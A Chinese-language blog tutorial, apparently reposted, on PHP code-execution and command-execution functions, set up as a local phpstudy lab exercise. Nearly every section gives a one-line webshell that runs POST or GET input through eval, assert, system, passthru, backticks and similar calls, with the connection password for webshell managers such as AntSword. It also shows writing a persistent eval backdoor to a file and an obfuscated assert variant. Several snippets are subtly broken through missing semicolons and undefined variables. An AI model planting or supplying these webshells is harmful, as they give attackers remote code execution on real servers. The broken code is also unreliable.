目錄
代碼執(zhí)行函數(shù):
1. eval()
GET和POST傳參的區(qū)別?
2. assert()
3. call_user_func()
4. create_function()
5. array_map()
6. call_user_func_array()
7. array_filter()
?編輯
8. uasort()函數(shù)
9.?preg_replace()
命令執(zhí)行函數(shù):
1. system()
2. passthru()
3. exec()
4. pcntl_exec()
5. shell_exec()
6. popen()/proc_open()
7. 反引號 ``
代碼執(zhí)行函數(shù):
前提準備:火狐插件 Quantum? Hackbar (或者hackbar)? ? ? phpstudy??
首先打開phpstudy? 在phpstudy 下的www目錄中創(chuàng)建一個1.php文件,接下來的實驗均在1.php中進行。
注意:php代碼中函數(shù)前加@意味著他會屏蔽掉出錯信息,而不報錯,避免通過錯誤回顯來推測數(shù)據(jù)庫結(jié)構(gòu),對其進行攻擊。
1. eval()
命令執(zhí)行:cmd=system(ipconfig);
蟻劍連接密碼:cmd
注意:eval要以分號結(jié)尾 傳入的參數(shù)必須為php代碼
<?php @eval($_POST['cmd']);?>
GET和POST傳參的區(qū)別?
?這里用的是POST型傳參? ?POST型傳參通過request? body 傳參? ?而GET型傳參把參數(shù)包含在url中
?可以使用<pre>標簽來使結(jié)果規(guī)范化
<?php
echo "<pre>";
echo eval($_POST["cmd"]);
echo "</pre>";
?>
2. assert()
命令執(zhí)行:cmd=system(whoami)
菜刀連接密碼:cmd
<?php @assert($_POST['cmd']);?>
3. call_user_func()
傳入的參數(shù)作為assert函數(shù)的參數(shù)
命令執(zhí)行:cmd=system(whoami)
蟻劍連接密碼:cmd
<?php call_user_func("assert",$_POST['cmd']); ?>
這里的 assert 是被調(diào)用的回調(diào)函數(shù),其余為回調(diào)函數(shù)的參數(shù)。
?
<?php
call_user_func($_POST["dys"],$_POST["add"]);
?>
這里dys=assert; add=phpinfo();
4. create_function()
創(chuàng)建匿名函數(shù)執(zhí)行代碼
執(zhí)行命令和上傳文件參考eval函數(shù)(必須加分號)。
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
?第一個變量表示定義一個函數(shù)變量部分? 第二個變量表示執(zhí)行的代碼部分
5. array_map()
array_map() 函數(shù)
將用戶自定義函數(shù)作用到數(shù)組中的每個值上,并返回用戶自定義函數(shù)作用后的帶有新值的數(shù)組。
回調(diào)函數(shù)接受的參數(shù)數(shù)目應該和傳遞給 array_map() 函數(shù)的數(shù)組數(shù)目一致。
<?php
$func=$_GET['dys'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($dys,$array);
echo $new_array;
?>
?這個函數(shù)作用是為數(shù)組每個元素應用回調(diào)函數(shù)。
6. call_user_func_array()
將傳入的參數(shù)作為數(shù)組的第一個值傳遞給assert函數(shù)
cmd=system(phpinfo();)
<?php
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
7. array_filter()
array_filter?—?使用回調(diào)函數(shù)過濾數(shù)組的元素
<?php
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['dys'];
array_filter($array1,$func);
?>
命令執(zhí)行:cmd=whoami dys=system
8. uasort()函數(shù)
uasort () 函數(shù)使用用戶自定義的比較函數(shù)對數(shù)組排序,并保持索引關(guān)聯(lián)(不為元素分配新的鍵)。 如果成功則返回 TRUE,否則返回 FALSE。
<?php
uasort($_GET,'asse'.'rt');
?>
9.?preg_replace()
preg_replace('正則規(guī)則','替換字符','目標字符')
執(zhí)行命令和上傳文件參考assert函數(shù)(不需要加分號)。
將目標字符中符合正則規(guī)則的字符替換為替換字符,此時如果正則規(guī)則中使用/e修飾符,則存在代碼執(zhí)行漏洞。
preg_replace("/test/e",$_POST["cmd"],"jutst test");
命令執(zhí)行函數(shù):
1. system()
蟻劍連接密碼:cmd
<?php
echo "<pre>";
system($_POST["cmd"]);
?>
?在POST命令框輸入cmd=ipconfig? 即可在頁面出現(xiàn)信息
?還可以用echo寫入一句話木馬,來進行連接
cmd=echo "<?php @eval($_POST['dys']);?>" >> dys.php
?
?
2. passthru()
passthru?—?執(zhí)行外部程序并且顯示原始輸出
蟻劍連接密碼:cmd
<?php
@passthru($_POST['cmd']);
?>
?cmd=ipconfig 即可顯示信息
3. exec()
這個函數(shù)有點特殊,他只輸出最后一行
并且他的輸出需要自己打印。(即用echo打印出來)
蟻劍連接密碼:cmd
<?php
echo "<pre>"
echo exec($_POST['cmd']);
echo "</pre>"
?>
?
4. pcntl_exec()
pcntl_exec?—?在當前進程空間執(zhí)行指定程序
pcntl_exec(string $path, array $args = [], array $env_vars = []): bool
以給定參數(shù)執(zhí)行程序
path
path
?必須時可執(zhí)行二進制文件路徑或一個在文件第一行指定了 一個可執(zhí)行文件路徑標頭的腳本(比如文件第一行是 #!/usr/local/bin/perl 的 perl 腳本)。 更多的信息請查看您系統(tǒng)的 execve(2)手冊。
args
args
?是一個要傳遞給程序的參數(shù)的字符串數(shù)組。
env_vars
env_vars
?是一個要傳遞給程序作為環(huán)境變量的字符串數(shù)組。這個數(shù)組是 key => value 格式的,key 代表要傳遞的環(huán)境變量的名稱,value 代表該環(huán)境變量值。
5. shell_exec()
shell_exec?—?通過 shell 執(zhí)行命令并將完整的輸出以字符串的方式返回
蟻劍連接密碼:cmd
<?php
echo "shell_exec($_POST['cmd'])";
?>
?
6. popen()/proc_open()
該函數(shù)也可以將字符串當作OS命令來執(zhí)行,但是該函數(shù)返回的是文件指針而非命令執(zhí)行結(jié)果。該函數(shù)有兩個參數(shù)。
<?php
$cmd=$_POST['cmd'].">>1.txt";
popen("$cmd",'r');
?>
$cmd將文件查詢結(jié)果放入1.txt popen將該文件賦予可讀權(quán)限
在linux里,命令為
popen("/bin/ls",'r');
?
?
7. 反引號 ``
[``]反引號里的東西也會被當成系統(tǒng)命令執(zhí)行
whoami可以直接執(zhí)行
<?php
echo `whoami`
?>
文章來源:http://www.zghlxwxcb.cn/news/detail-718525.html
<?php
echo "<pre>";
$cmd=$_GET["cmd"];
echo `$cmd`;
echo "</pre>";
?>
文章來源地址http://www.zghlxwxcb.cn/news/detail-718525.html
到了這里,關(guān)于PHP常見的命令執(zhí)行函數(shù)與代碼執(zhí)行函數(shù)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!